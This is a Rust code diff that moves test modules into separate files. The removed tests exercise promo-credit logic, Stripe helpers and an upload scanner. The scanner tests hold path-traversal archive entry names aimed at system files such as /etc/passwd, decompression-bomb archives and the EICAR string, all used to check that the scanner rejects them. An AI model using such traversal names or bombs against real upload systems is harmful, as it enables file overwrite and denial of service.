1329 - code: DbPromoCode {
1330 - id: PromoCodeId::new(),
1331 - creator_id: UserId::new(),
1332 - code: "SAVE10".to_string(),
1333 - code_purpose: CodePurpose::Discount,
1334 - discount_type: Some(DiscountType::Percentage),
1335 - discount_value: Some(10),
1336 - min_price_cents: 0,
1337 - trial_days: None,
1338 - item_id: None,
1339 - project_id: None,
1340 - tier_id: None,
1341 - max_uses,
1342 - use_count: 0,
1343 - expires_at: None,
1344 - starts_at: None,
1345 - created_at: chrono::Utc::now(),
1346 - is_platform_wide: false,
1347 - },
1348 - is_platform_wide: false,
1349 - }
1350 - }
1351 -
1352 - #[test]
1353 - fn single_use_code_discounts_every_eligible_cart_line() {
1354 - // A max_uses=1 code applied across a multi-item cart discounts EVERY
1355 - // eligible line. This is intentional: the handler reserves exactly one
1356 - // use per cart checkout (one redemption = one use), so the per-line
1357 - // discounting below is not a use-count leak. Pin it so a future change
1358 - // can't silently turn cart promos into per-line reservation.
1359 - let promo = unscoped_discount_promo(Some(1));
1360 - for base in [1000, 2000, 4999] {
1361 - let result =
1362 - apply_promo_to_item(&promo, ItemId::new(), ProjectId::new(), base).unwrap();
1363 - let PromoApplication::Apply(applied) = result else {
1364 - panic!("expected Apply for an eligible cart line at base {base}");
1365 - };
1366 - assert_eq!(applied.price_cents, base - base / 10);
1367 - // A seller-scoped code is creator-funded, no platform reimbursement.
1368 - assert_eq!(applied.funding, DiscountFunding::CreatorFunded);
1369 - }
1370 - // apply_promo_to_item never touches use_count; reservation is the
1371 - // handler's once-per-checkout concern.
1372 - assert_eq!(promo.code.use_count, 0);
1373 - }
1374 -
1375 - // Platform credit is a spend-once balance (ultra-fuzz Run 13 Payments)
1376 -
1377 - /// Build a platform-wide fixed credit (the $5 Fan+ renewal credit shape).
1378 - fn platform_fixed_credit(cents: i32) -> ValidatedPromo {
1379 - ValidatedPromo {
1380 - code: DbPromoCode {
1381 - id: PromoCodeId::new(),
1382 - creator_id: UserId::new(),
1383 - code: "FANPLUS".to_string(),
1384 - code_purpose: CodePurpose::Discount,
1385 - discount_type: Some(DiscountType::Fixed),
1386 - discount_value: Some(cents),
1387 - min_price_cents: 0,
1388 - trial_days: None,
1389 - item_id: None,
1390 - project_id: None,
1391 - tier_id: None,
1392 - max_uses: None,
1393 - use_count: 0,
1394 - expires_at: None,
1395 - starts_at: None,
1396 - created_at: chrono::Utc::now(),
1397 - is_platform_wide: true,
1398 - },
1399 - is_platform_wide: true,
1400 - }
1401 - }
1402 -
1403 - #[test]
1404 - fn platform_fixed_credit_budget_is_face_value() {
1405 - assert_eq!(
1406 - platform_fixed_credit(500).platform_credit_budget_cents(),
1407 - Some(500)
1408 - );
1409 - }
1410 -
1411 - #[test]
1412 - fn seller_and_percentage_codes_have_no_credit_budget() {
1413 - // Seller-funded code: credit is always 0, no balance to cap.
1414 - assert_eq!(
1415 - unscoped_discount_promo(None).platform_credit_budget_cents(),
1416 - None
1417 - );
1418 - // Platform-wide *percentage*: an intentional platform-funded sale that
1419 - // legitimately applies to every line, not a spend-once balance.
1420 - let mut pct = platform_fixed_credit(500);
1421 - pct.code.discount_type = Some(DiscountType::Percentage);
1422 - pct.code.discount_value = Some(20);
1423 - assert_eq!(pct.platform_credit_budget_cents(), None);
1424 - }
1425 -
1426 - #[test]
1427 - fn platform_fixed_credit_spent_once_across_cart() {
1428 - // The $5 (500¢) Fan+ credit across three $10 (1000¢) lines must discount
1429 - // the buyer and reimburse the seller a total of exactly 500¢, once, not
1430 - // 500¢ per line (Run 13 SERIOUS: cart platform-credit multiplication).
1431 - let promo = platform_fixed_credit(500);
1432 - let mut budget = promo.platform_credit_budget_cents();
1433 - assert_eq!(budget, Some(500));
1434 -
1435 - let mut total_credit = 0i64;
1436 - let mut total_buyer_paid = 0i64;
1437 - for _ in 0..3 {
1438 - let PromoApplication::Apply(applied) =
1439 - apply_promo_to_item(&promo, ItemId::new(), ProjectId::new(), 1000).unwrap()
1440 - else {
1441 - panic!("expected Apply for an eligible platform-credit line");
1442 - };
1443 - let (final_price, credit) = cap_line_to_credit_budget(applied, &mut budget);
1444 - total_credit += credit;
1445 - total_buyer_paid += i64::from(final_price);
1446 - }
1447 - assert_eq!(
1448 - total_credit, 500,
1449 - "MNW reimburses the seller exactly the face value, once"
1450 - );
1451 - assert_eq!(
1452 - total_buyer_paid,
1453 - 3000 - 500,
1454 - "buyer gets the $5 credit exactly once"
1455 - );
1456 - assert_eq!(budget, Some(0), "balance fully spent");
1457 - }
1458 -
1459 - #[test]
1460 - fn platform_fixed_credit_carries_balance_across_cheap_lines() {
1461 - // A $5 credit on two $1 (100¢) items spends 100 then 100 (the balance
1462 - // carries instead of burning the whole $5 on the first line); 300¢ remain.
1463 - let promo = platform_fixed_credit(500);
1464 - let mut budget = promo.platform_credit_budget_cents();
1465 - let mut total_credit = 0i64;
1466 - for _ in 0..2 {
1467 - let PromoApplication::Apply(applied) =
1468 - apply_promo_to_item(&promo, ItemId::new(), ProjectId::new(), 100).unwrap()
1469 - else {
1470 - panic!("expected Apply");
1471 - };
1472 - let (final_price, credit) = cap_line_to_credit_budget(applied, &mut budget);
1473 - assert_eq!(final_price, 0, "a $1 item is fully covered by the credit");
1474 - total_credit += credit;
1475 - }
1476 - assert_eq!(total_credit, 200);
1477 - assert_eq!(
1478 - budget,
1479 - Some(300),
1480 - "unspent balance carries to the rest of the cart"
1481 - );
1482 - }
1483 - }
997 + mod tests;
@@ -1296,88 +1296,4 @@
1296 1296 }
1297 1297
1298 1298 #[cfg(test)]
1299 - mod tests {
1300 - //! Stripe id parsing at the boundary between our database and Stripe's API.
1301 - //! These ids come out of our own rows, so a parse failure means our data is
1302 - //! wrong, and the classification matters: `Internal` pages us, `BadRequest`
1303 - //! would blame the creator for our own corrupted column.
1304 -
1305 - use super::*;
1306 -
1307 - #[test]
1308 - fn account_id_parsing_rejects_nothing_at_all() {
1309 - // Same dead guard as `parse_subscription_id`. `stripe_shared::AccountId`
1310 - // derives `FromStr` with `type Err = Infallible`, so every value parses
1311 - // and the `Invalid Stripe account ID` branch cannot be reached. The doc
1312 - // comment above reasons carefully about classifying the failure as
1313 - // `Internal` rather than `BadRequest`; there is no failure to classify.
1314 - //
1315 - // The consequence is not academic: an empty `users.stripe_account_id`
1316 - // becomes an empty connected-account header on a live charge instead of
1317 - // an error we can see.
1318 - assert!(StripeClient::parse_account_id("acct_1A2b3C4d5E6f7G8h").is_ok());
1319 - for anything in ["", "cus_123", "not an id", "acct_"] {
1320 - assert!(
1321 - StripeClient::parse_account_id(anything).is_ok(),
1322 - "{anything:?} parses today; if this now fails, the guard became real \
1323 - and the test should assert the new contract"
1324 - );
1325 - }
1326 - }
1327 -
1328 - // ── sum_in_currency, the filter behind `get_balance` ──
1329 -
1330 - use crate::currency::SettlementCurrency;
1331 -
1332 - /// The entries a connected account holding three currencies would carry.
1333 - fn mixed() -> Vec<(stripe_types::Currency, i64)> {
1334 - vec![
1335 - (SettlementCurrency::Usd.to_stripe(), 1_000),
1336 - (SettlementCurrency::Gbp.to_stripe(), 2_500),
1337 - (SettlementCurrency::Usd.to_stripe(), 250),
1338 - (SettlementCurrency::Eur.to_stripe(), 9_999),
1339 - ]
1340 - }
1341 -
1342 - #[test]
1343 - fn sums_every_entry_in_the_wanted_currency() {
1344 - let entries = mixed();
1345 - let total = sum_in_currency(
1346 - entries.iter().map(|(c, a)| (c, *a)),
1347 - &SettlementCurrency::Usd.to_stripe(),
1348 - );
1349 - assert_eq!(total, 1_250, "both USD entries, and only those");
1350 - }
1351 -
1352 - #[test]
1353 - fn ignores_every_entry_in_another_currency() {
1354 - let entries = mixed();
1355 - for currency in SettlementCurrency::ALL {
1356 - let total =
1357 - sum_in_currency(entries.iter().map(|(c, a)| (c, *a)), &currency.to_stripe());
1358 - let expected = match currency {
1359 - SettlementCurrency::Usd => 1_250,
1360 - SettlementCurrency::Gbp => 2_500,
1361 - SettlementCurrency::Eur => 9_999,
1362 - _ => 0,
1363 - };
1364 - assert_eq!(
1365 - total, expected,
1366 - "{currency} must see its own money and nobody else's"
1367 - );
1368 - }
1369 - }
1370 -
1371 - #[test]
1372 - fn a_currency_the_account_does_not_hold_is_zero_rather_than_everything() {
1373 - let entries = mixed();
1374 - let total = sum_in_currency(
1375 - entries.iter().map(|(c, a)| (c, *a)),
1376 - &SettlementCurrency::Nzd.to_stripe(),
1377 - );
1378 - assert_eq!(
1379 - total, 0,
1380 - "an inverted filter would report 13,749 NZD cents the account never held"
1381 - );
1382 - }
1383 - }
1299 + mod tests;
@@ -978,553 +978,4 @@
978 978 }
979 979
980 980 #[cfg(test)]
981 - mod tests {
982 - use super::*;
983 - use zip::write::SimpleFileOptions;
984 -
985 - fn make_zip(entries: &[(&str, &[u8])]) -> Vec<u8> {
986 - let buf = Vec::new();
987 - let cursor = Cursor::new(buf);
988 - let mut writer = zip::ZipWriter::new(cursor);
989 - let options =
990 - SimpleFileOptions::default().compression_method(zip::CompressionMethod::Stored);
991 - for (name, data) in entries {
992 - writer.start_file(*name, options).unwrap();
993 - std::io::Write::write_all(&mut writer, data).unwrap();
994 - }
995 - writer.finish().unwrap().into_inner()
996 - }
997 -
998 - fn make_compressed_zip(entries: &[(&str, &[u8])]) -> Vec<u8> {
999 - let buf = Vec::new();
1000 - let cursor = Cursor::new(buf);
1001 - let mut writer = zip::ZipWriter::new(cursor);
1002 - let options =
1003 - SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated);
1004 - for (name, data) in entries {
1005 - writer.start_file(*name, options).unwrap();
1006 - std::io::Write::write_all(&mut writer, data).unwrap();
1007 - }
1008 - writer.finish().unwrap().into_inner()
1009 - }
1010 -
1011 - // Skip behavior
1012 -
1013 - #[test]
1014 - fn non_zip_skipped() {
1015 - let result = check_archive_safety(b"not a zip file", FileType::Download);
1016 - assert_eq!(result.verdict, LayerVerdict::Skip);
1017 - }
1018 -
1019 - #[test]
1020 - fn audio_non_zip_skipped() {
1021 - let result = check_archive_safety(b"audio data", FileType::Audio);
1022 - assert_eq!(result.verdict, LayerVerdict::Skip);
1023 - }
1024 -
1025 - // 7z / RAR: no pure-Rust bomb checker (R6-Sec-L2)
1026 -
1027 - #[test]
1028 - fn sevenzip_rejected_for_non_download() {
1029 - let data = [0x37, 0x7A, 0xBC, 0xAF, 0x27, 0x1C, 0, 0, 0, 0];
1030 - let result = check_archive_safety(&data, FileType::Cover);
1031 - assert_eq!(result.verdict, LayerVerdict::Error);
1032 - }
1033 -
1034 - #[test]
1035 - fn sevenzip_allowed_for_download() {
1036 - // Download keeps the ClamAV backstop; the in-process layer doesn't reject.
1037 - let data = [0x37, 0x7A, 0xBC, 0xAF, 0x27, 0x1C, 0, 0, 0, 0];
1038 - let result = check_archive_safety(&data, FileType::Download);
1039 - assert_ne!(result.verdict, LayerVerdict::Error);
1040 - }
1041 -
1042 - #[test]
1043 - fn rar_rejected_for_non_download() {
1044 - let data = [0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x00, 0, 0, 0];
1045 - let result = check_archive_safety(&data, FileType::MediaImage);
1046 - assert_eq!(result.verdict, LayerVerdict::Error);
1047 - }
1048 -
1049 - #[test]
1050 - fn cover_zip_skipped() {
1051 - // A ZIP file claimed as cover should be skipped (layer 1 handles type mismatch)
1052 - let data = make_zip(&[("test.txt", b"hello")]);
1053 - let result = check_archive_safety(&data, FileType::Cover);
1054 - assert_eq!(result.verdict, LayerVerdict::Skip);
1055 - }
1056 -
1057 - // Valid archives
1058 -
1059 - #[test]
1060 - fn valid_zip_passes() {
1061 - let data = make_zip(&[("test.txt", b"hello world")]);
1062 - let result = check_archive_safety(&data, FileType::Download);
1063 - assert_eq!(result.verdict, LayerVerdict::Pass);
1064 - }
1065 -
1066 - #[test]
1067 - fn empty_zip_passes() {
1068 - let buf = Vec::new();
1069 - let cursor = Cursor::new(buf);
1070 - let writer = zip::ZipWriter::new(cursor);
1071 - let data = writer.finish().unwrap().into_inner();
1072 - // Empty ZIPs may not have the PK magic at offset 0, they'd just be
1073 - // an end-of-central-directory record. If it doesn't start with PK 03 04,
1074 - // we'll skip it. That's fine.
1075 - let result = check_archive_safety(&data, FileType::Download);
1076 - // Either Skip (no local file header) or Pass (valid empty ZIP)
1077 - assert!(
1078 - result.verdict == LayerVerdict::Skip || result.verdict == LayerVerdict::Pass,
1079 - "unexpected verdict: {:?}",
1080 - result.verdict
1081 - );
1082 - }
1083 -
1084 - #[test]
1085 - fn multi_entry_zip_passes() {
1086 - let data = make_zip(&[
1087 - ("file1.txt", b"content one"),
1088 - ("subdir/file2.txt", b"content two"),
1089 - ("readme.md", b"# hello"),
1090 - ]);
1091 - let result = check_archive_safety(&data, FileType::Download);
1092 - assert_eq!(result.verdict, LayerVerdict::Pass);
1093 - assert!(result.detail.unwrap().contains("3 entries"));
1094 - }
1095 -
1096 - // Path traversal
1097 -
1098 - #[test]
1099 - fn zip_with_forward_slash_traversal_fails() {
1100 - let data = make_zip(&[("../../../etc/passwd", b"pwned")]);
1101 - let result = check_archive_safety(&data, FileType::Download);
1102 - assert_eq!(result.verdict, LayerVerdict::Fail);
1103 - assert!(result.detail.unwrap().contains("Path traversal"));
1104 - }
1105 -
1106 - #[test]
1107 - fn zip_with_backslash_traversal_fails() {
1108 - let data = make_zip(&[("..\\..\\Windows\\System32\\config", b"pwned")]);
1109 - let result = check_archive_safety(&data, FileType::Download);
1110 - assert_eq!(result.verdict, LayerVerdict::Fail);
1111 - assert!(result.detail.unwrap().contains("Path traversal"));
1112 - }
1113 -
1114 - #[test]
1115 - fn zip_with_mid_path_traversal_fails() {
1116 - let data = make_zip(&[("safe/../../etc/passwd", b"pwned")]);
1117 - let result = check_archive_safety(&data, FileType::Download);
1118 - assert_eq!(result.verdict, LayerVerdict::Fail);
1119 - }
1120 -
1121 - #[test]
1122 - fn zip_with_url_encoded_traversal_fails() {
1123 - // %2e%2e is URL-encoded "..". The check is case-insensitive on the encoding.
1124 - let data = make_zip(&[("%2E%2E/secrets", b"pwned")]);
1125 - let result = check_archive_safety(&data, FileType::Download);
1126 - assert_eq!(result.verdict, LayerVerdict::Fail);
1127 - assert!(result.detail.unwrap().contains("Path traversal"));
1128 - }
1129 -
1130 - #[test]
1131 - fn zip_with_absolute_path_fails() {
1132 - let data = make_zip(&[("/etc/passwd", b"pwned")]);
1133 - let result = check_archive_safety(&data, FileType::Download);
1134 - assert_eq!(result.verdict, LayerVerdict::Fail);
1135 - assert!(result.detail.unwrap().contains("Path traversal"));
1136 - }
1137 -
1138 - #[test]
1139 - fn zip_with_null_byte_in_name_fails() {
1140 - let data = make_zip(&[("legit.txt\0../escape", b"pwned")]);
1141 - let result = check_archive_safety(&data, FileType::Download);
1142 - assert_eq!(result.verdict, LayerVerdict::Fail);
1143 - assert!(result.detail.unwrap().contains("Path traversal"));
1144 - }
1145 -
1146 - // Nesting detection
1147 -
1148 - // Nested-archive interior scanning (`scan_nested_contents`)
1149 - //
1150 - // The old behavior here merely *counted* nested-archive entries and failed a
1151 - // ZIP with more than `SCAN_ZIP_MAX_DEPTH` of them, never inspecting their
1152 - // contents, counting is not scanning, so a payload in a zip-in-a-zip passed
1153 - // Clean (the run #20→#22 chronic). `check_archive_safety` no longer counts;
1154 - // interior coverage is `scan_nested_contents`, exercised below with the real
1155 - // rule set so an actual signature in a nested archive is caught or held.
1156 -
1157 - /// The compiled production YARA rules (includes the EICAR test signature).
1158 - fn test_yara_rules() -> yara_x::Rules {
1159 - super::super::yara::compile_rules_from_dir("yara-rules")
1160 - .expect("compile yara-rules")
1161 - .0
1162 - .expect("yara-rules dir has rules")
1163 - }
1164 -
1165 - /// EICAR antivirus test string, matched by `yara-rules/mnw_test_files.yar`.
1166 - const EICAR: &[u8] = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
1167 -
1168 - #[test]
1169 - fn benign_nested_zip_passes() {
1170 - let inner = make_zip(&[("hello.txt", b"hello world")]);
1171 - let outer = make_zip(&[("inner.zip", &inner), ("notes.txt", b"readme")]);
1172 - let result = scan_nested_contents(&outer, Some(&test_yara_rules()));
1173 - assert_eq!(result.verdict, LayerVerdict::Pass, "{:?}", result.detail);
1174 - }
1175 -
1176 - #[test]
1177 - fn eicar_in_zip_in_zip_is_caught() {
1178 - // outer.zip -> inner.zip -> evil.txt(EICAR). The interior bytes must
1179 - // traverse YARA exactly as a top-level file would: not Clean.
1180 - let inner = make_zip(&[("evil.txt", EICAR)]);
1181 - let outer = make_zip(&[("inner.zip", &inner)]);
1182 - let result = scan_nested_contents(&outer, Some(&test_yara_rules()));
1183 - assert_eq!(
1184 - result.verdict,
1185 - LayerVerdict::Fail,
1186 - "EICAR nested two zips deep must be caught, got {:?}",
1187 - result.detail
1188 - );
1189 - }
1190 -
1191 - #[test]
1192 - fn eicar_in_single_gzip_is_caught() {
1193 - // A standalone gzip member is one logical entry; its decompressed bytes
1194 - // must be scanned.
1195 - let gz = gzip(EICAR);
1196 - let result = scan_nested_contents(&gz, Some(&test_yara_rules()));
1197 - assert_eq!(result.verdict, LayerVerdict::Fail, "{:?}", result.detail);
1198 - }
1199 -
1200 - #[test]
1201 - fn nesting_beyond_scan_depth_is_held_not_passed() {
1202 - // SCAN_ZIP_MAX_DEPTH = 2. Wrap a benign file in enough ZIP layers that
1203 - // the innermost archive sits past the descent budget; the interior is
1204 - // not fully scanned, so it must fail closed (Error -> held), never Clean.
1205 - let mut nested = make_zip(&[("leaf.txt", b"benign")]);
1206 - for _ in 0..4 {
1207 - nested = make_zip(&[("inner.zip", &nested)]);
1208 - }
1209 - let result = scan_nested_contents(&nested, Some(&test_yara_rules()));
1210 - assert_eq!(
1211 - result.verdict,
1212 - LayerVerdict::Error,
1213 - "a nest deeper than the scan depth must be held, got {:?}",
1214 - result.detail
1215 - );
1216 - assert_eq!(
1217 - super::super::error_policy_for(result.layer),
1218 - ErrorPolicy::FailClosed
1219 - );
1220 - }
1221 -
1222 - #[test]
1223 - fn non_archive_has_no_interior() {
1224 - let result = scan_nested_contents(b"just some plain bytes", Some(&test_yara_rules()));
1225 - assert_eq!(result.verdict, LayerVerdict::Skip);
1226 - }
1227 -
1228 - #[test]
1229 - fn non_archive_extensions_ignored() {
1230 - let data = make_zip(&[
1231 - ("app.exe", b"binary"),
1232 - ("readme.txt", b"hello"),
1233 - ("image.png", b"pixels"),
1234 - ]);
1235 - let result = check_archive_safety(&data, FileType::Download);
1236 - assert_eq!(result.verdict, LayerVerdict::Pass);
1237 - }
1238 -
1239 - // Compression ratio (ZIP bomb detection)
1240 -
1241 - #[test]
1242 - fn high_compression_ratio_fails() {
1243 - // Create highly compressible data: repeating zeros compress extremely well
1244 - // 1MB of zeros should compress to ~1KB with deflate, giving ratio ~1000x
1245 - let zeros = vec![0u8; 1024 * 1024];
1246 - let data = make_compressed_zip(&[("bomb.bin", &zeros)]);
1247 - let result = check_archive_safety(&data, FileType::Download);
1248 - assert_eq!(
1249 - result.verdict,
1250 - LayerVerdict::Fail,
1251 - "Expected Fail for high compression ratio, got: {:?}",
1252 - result.detail
1253 - );
1254 - assert!(result.detail.unwrap().contains("ZIP bomb"));
1255 - }
1256 -
1257 - #[test]
1258 - fn normal_compression_ratio_passes() {
1259 - // Random-ish data doesn't compress well, ratio should be ~1x
1260 - let data_bytes: Vec<u8> = (0..10000).map(|i| (i * 37 + 13) as u8).collect();
1261 - let data = make_compressed_zip(&[("normal.bin", &data_bytes)]);
1262 - let result = check_archive_safety(&data, FileType::Download);
1263 - assert_eq!(result.verdict, LayerVerdict::Pass);
1264 - }
1265 -
1266 - // Audio file with ZIP magic (disguised archive)
1267 -
1268 - #[test]
1269 - fn zip_disguised_as_audio_checked() {
1270 - // A ZIP file claimed as Audio should still be checked (not skipped)
1271 - let data = make_zip(&[("test.txt", b"hello")]);
1272 - let result = check_archive_safety(&data, FileType::Audio);
1273 - assert_eq!(result.verdict, LayerVerdict::Pass);
1274 - }
1275 -
1276 - #[test]
1277 - fn zip_disguised_as_audio_with_traversal_fails() {
1278 - let data = make_zip(&[("../../../etc/passwd", b"pwned")]);
1279 - let result = check_archive_safety(&data, FileType::Audio);
1280 - assert_eq!(result.verdict, LayerVerdict::Fail);
1281 - }
1282 -
1283 - // Corrupted ZIP
1284 -
1285 - #[test]
1286 - fn corrupted_zip_magic_returns_error() {
1287 - // Valid ZIP magic bytes but garbage after
1288 - let mut data = vec![0x50, 0x4B, 0x03, 0x04];
1289 - data.extend_from_slice(&[0xFF; 100]);
1290 - let result = check_archive_safety(&data, FileType::Download);
1291 - assert_eq!(result.verdict, LayerVerdict::Error);
1292 - assert!(result.detail.unwrap().contains("Failed to parse ZIP"));
1293 - }
1294 -
1295 - #[test]
1296 - fn path_entry_matches_buffered_for_non_zip() {
1297 - let data = b"not a zip at all";
1298 - let buffered = check_archive_safety(data, FileType::Download);
1299 - let tmp = tempfile::NamedTempFile::new().unwrap();
1300 - std::fs::write(tmp.path(), data).unwrap();
1301 - let path_based = check_archive_safety_path(tmp.path(), FileType::Download);
1302 - assert_eq!(buffered.verdict, path_based.verdict);
1303 - assert_eq!(buffered.verdict, LayerVerdict::Skip);
1304 - }
1305 -
1306 - #[test]
1307 - fn path_entry_matches_buffered_for_cover_skip() {
1308 - let mut data = vec![0x50, 0x4B, 0x03, 0x04];
1309 - data.extend_from_slice(&[0xFF; 100]);
1310 - let buffered = check_archive_safety(&data, FileType::Cover);
1311 - let tmp = tempfile::NamedTempFile::new().unwrap();
1312 - std::fs::write(tmp.path(), &data).unwrap();
1313 - let path_based = check_archive_safety_path(tmp.path(), FileType::Cover);
1314 - assert_eq!(buffered.verdict, path_based.verdict);
1315 - assert_eq!(buffered.verdict, LayerVerdict::Skip);
1316 - }
1317 -
1318 - // Single-stream decompression bombs (gzip / bzip2 / xz / zstd)
1319 -
1320 - use std::io::Write;
1321 -
1322 - fn gzip(data: &[u8]) -> Vec<u8> {
1323 - let mut e = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::best());
1324 - e.write_all(data).unwrap();
1325 - e.finish().unwrap()
1326 - }
1327 - fn bzip2_compress(data: &[u8]) -> Vec<u8> {
1328 - let mut e = bzip2::write::BzEncoder::new(Vec::new(), bzip2::Compression::new(9));
1329 - e.write_all(data).unwrap();
1330 - e.finish().unwrap()
1331 - }
1332 - fn xz(data: &[u8]) -> Vec<u8> {
1333 - let mut e = xz2::write::XzEncoder::new(Vec::new(), 9);
1334 - e.write_all(data).unwrap();
1335 - e.finish().unwrap()
1336 - }
1337 - fn zstd_compress(data: &[u8]) -> Vec<u8> {
1338 - zstd::encode_all(data, 19).unwrap()
1339 - }
1340 -
1341 - /// 8 MiB of zeros, compresses to a tiny stream at a ratio far above the
1342 - /// 100x cap, the canonical decompression-bomb shape.
1343 - fn bomb_payload() -> Vec<u8> {
1344 - vec![0u8; 8 * 1024 * 1024]
1345 - }
1346 -
1347 - /// Moderately-incompressible data: stays well under the ratio cap, so a
1348 - /// legitimate compressed download passes.
1349 - fn benign_payload() -> Vec<u8> {
1350 - (0..200_000u32)
1351 - .map(|i| (i.wrapping_mul(2_654_435_761) >> 13) as u8)
1352 - .collect()
1353 - }
1354 -
1355 - #[test]
1356 - fn gzip_bomb_fails() {
1357 - let data = gzip(&bomb_payload());
1358 - let result = check_archive_safety(&data, FileType::Download);
1359 - assert_eq!(
1360 - result.verdict,
1361 - LayerVerdict::Fail,
1362 - "detail: {:?}",
1363 - result.detail
1364 - );
1365 - assert!(result.detail.unwrap().to_lowercase().contains("bomb"));
1366 - }
1367 -
1368 - #[test]
1369 - fn benign_gzip_passes() {
1370 - let data = gzip(&benign_payload());
1371 - let result = check_archive_safety(&data, FileType::Download);
1372 - assert_eq!(
1373 - result.verdict,
1374 - LayerVerdict::Pass,
1375 - "detail: {:?}",
1376 - result.detail
1377 - );
1378 - }
1379 -
1380 - #[test]
1381 - fn bzip2_bomb_fails() {
1382 - let data = bzip2_compress(&bomb_payload());
1383 - let result = check_archive_safety(&data, FileType::Download);
1384 - assert_eq!(
1385 - result.verdict,
1386 - LayerVerdict::Fail,
1387 - "detail: {:?}",
1388 - result.detail
1389 - );
1390 - }
1391 -
1392 - #[test]
1393 - fn xz_bomb_fails() {
1394 - let data = xz(&bomb_payload());
1395 - let result = check_archive_safety(&data, FileType::Download);
1396 - assert_eq!(
1397 - result.verdict,
1398 - LayerVerdict::Fail,
1399 - "detail: {:?}",
1400 - result.detail
1401 - );
1402 - }
1403 -
1404 - #[test]
1405 - fn zstd_bomb_fails() {
1406 - let data = zstd_compress(&bomb_payload());
1407 - let result = check_archive_safety(&data, FileType::Download);
1408 - assert_eq!(
1409 - result.verdict,
1410 - LayerVerdict::Fail,
1411 - "detail: {:?}",
1412 - result.detail
1413 - );
1414 - }
1415 -
1416 - #[test]
1417 - fn gzip_bomb_caught_on_path_variant_too() {
1418 - let data = gzip(&bomb_payload());
1419 - let tmp = tempfile::NamedTempFile::new().unwrap();
1420 - std::fs::write(tmp.path(), &data).unwrap();
1421 - let result = check_archive_safety_path(tmp.path(), FileType::Download);
1422 - assert_eq!(
1423 - result.verdict,
1424 - LayerVerdict::Fail,
1425 - "detail: {:?}",
1426 - result.detail
1427 - );
1428 - }
1429 -
1430 - #[test]
1431 - fn gzip_bomb_skipped_for_cover() {
1432 - // Type mismatch is layer 1's job; the archive layer skips covers.
1433 - let data = gzip(&bomb_payload());
1434 - let result = check_archive_safety(&data, FileType::Cover);
1435 - assert_eq!(result.verdict, LayerVerdict::Skip);
1436 - }
1437 -
1438 - // Prefixed / self-extracting ZIP (no offset-0 magic)
1439 -
1440 - #[test]
1441 - fn prefixed_zip_is_not_silently_skipped() {
1442 - // A real ZIP with arbitrary bytes prepended (the self-extracting-stub
1443 - // shape). It lacks the offset-0 PK\x03\x04 magic, so the old offset-0
1444 - // gate would Skip it. The tail EOCD scan must catch it and hand it to
1445 - // inspect_zip, the security property is that it is NOT Skipped.
1446 - let zip = make_zip(&[("readme.txt", b"hello")]);
1447 - let mut data = b"MZ\x90\x00 this is a self-extracting stub padding ".to_vec();
1448 - data.extend_from_slice(&zip);
1449 -
1450 - let result = check_archive_safety(&data, FileType::Download);
1451 - assert_ne!(
1452 - result.verdict,
1453 - LayerVerdict::Skip,
1454 - "prefixed ZIP must be inspected, not skipped; got {:?}",
1455 - result.detail
1456 - );
1457 -
1458 - // And on the path variant.
1459 - let tmp = tempfile::NamedTempFile::new().unwrap();
1460 - std::fs::write(tmp.path(), &data).unwrap();
1461 - let path_based = check_archive_safety_path(tmp.path(), FileType::Download);
1462 - assert_ne!(
1463 - path_based.verdict,
1464 - LayerVerdict::Skip,
1465 - "detail: {:?}",
1466 - path_based.detail
1467 - );
1468 - }
1469 -
1470 - #[test]
1471 - fn prefixed_zip_bomb_fails() {
1472 - // Prepend a stub to a high-ratio ZIP; it must still be caught.
1473 - let zeros = vec![0u8; 1024 * 1024];
1474 - let zip = make_compressed_zip(&[("bomb.bin", &zeros)]);
1475 - let mut data = b"self-extracting stub ".to_vec();
1476 - data.extend_from_slice(&zip);
1477 - let result = check_archive_safety(&data, FileType::Download);
Lines truncated
@@ -882,525 +882,4 @@
882 882 }
883 883
884 884 #[cfg(test)]
885 - mod tests {
886 - use super::*;
887 -
888 - #[test]
889 - fn layer_verdict_serializes_lowercase() {
890 - assert_eq!(
891 - serde_json::to_string(&LayerVerdict::Pass).unwrap(),
892 - "\"pass\""
893 - );
894 - assert_eq!(
895 - serde_json::to_string(&LayerVerdict::Fail).unwrap(),
896 - "\"fail\""
897 - );
898 - assert_eq!(
899 - serde_json::to_string(&LayerVerdict::Skip).unwrap(),
900 - "\"skip\""
901 - );
902 - assert_eq!(
903 - serde_json::to_string(&LayerVerdict::Error).unwrap(),
904 - "\"error\""
905 - );
906 - }
907 -
908 - #[test]
909 - fn scan_result_quarantined_on_any_fail() {
910 - let layers = [
911 - LayerResult {
912 - layer: "test1",
913 - verdict: LayerVerdict::Pass,
914 - detail: None,
915 - },
916 - LayerResult {
917 - layer: "test2",
918 - verdict: LayerVerdict::Fail,
919 - detail: Some("bad".to_string()),
920 - },
921 - ];
922 - let has_fail = layers.iter().any(|l| l.verdict == LayerVerdict::Fail);
923 - assert!(has_fail);
924 - }
925 -
926 - #[test]
927 - fn panicked_sync_layer_is_held_for_review_not_clean() {
928 - // A file that panics a CPU parser must never come back Clean, it is
929 - // held for admin review, and the panic is contained in a returnable
930 - // result (not an `.expect` that would unwind the scan worker).
931 - let r = panicked_sync_result(4096);
932 - assert_eq!(r.status, FileScanStatus::HeldForReview);
933 - assert_eq!(r.file_size, 4096);
934 - assert!(r.sha256.is_empty());
935 - assert_eq!(r.layers.len(), 1);
936 - assert_eq!(r.layers[0].verdict, LayerVerdict::Error);
937 - // The synthetic layer must resolve to a FailClosed policy (the default
938 - // for unregistered names), which is what makes final_status hold it.
939 - assert_eq!(error_policy_for(r.layers[0].layer), ErrorPolicy::FailClosed);
940 - }
941 -
942 - #[test]
943 - fn oversize_file_is_held_for_review_not_failed() {
944 - // A file above the spool ceiling is held for admin review (explicit,
945 - // documented policy) rather than failing the job and stranding the
946 - // upload in Pending. Verdict resolves to FailClosed -> HeldForReview.
947 - let huge = crate::constants::SCAN_SPOOL_MAX_BYTES + 1;
948 - let r = too_large_to_scan(huge);
949 - assert_eq!(r.status, FileScanStatus::HeldForReview);
950 - assert_eq!(r.file_size, huge);
951 - assert!(r.sha256.is_empty());
952 - assert_eq!(r.layers[0].layer, "scan_size_limit");
953 - assert_eq!(error_policy_for(r.layers[0].layer), ErrorPolicy::FailClosed);
954 - }
955 -
956 - #[test]
957 - fn sha256_computation() {
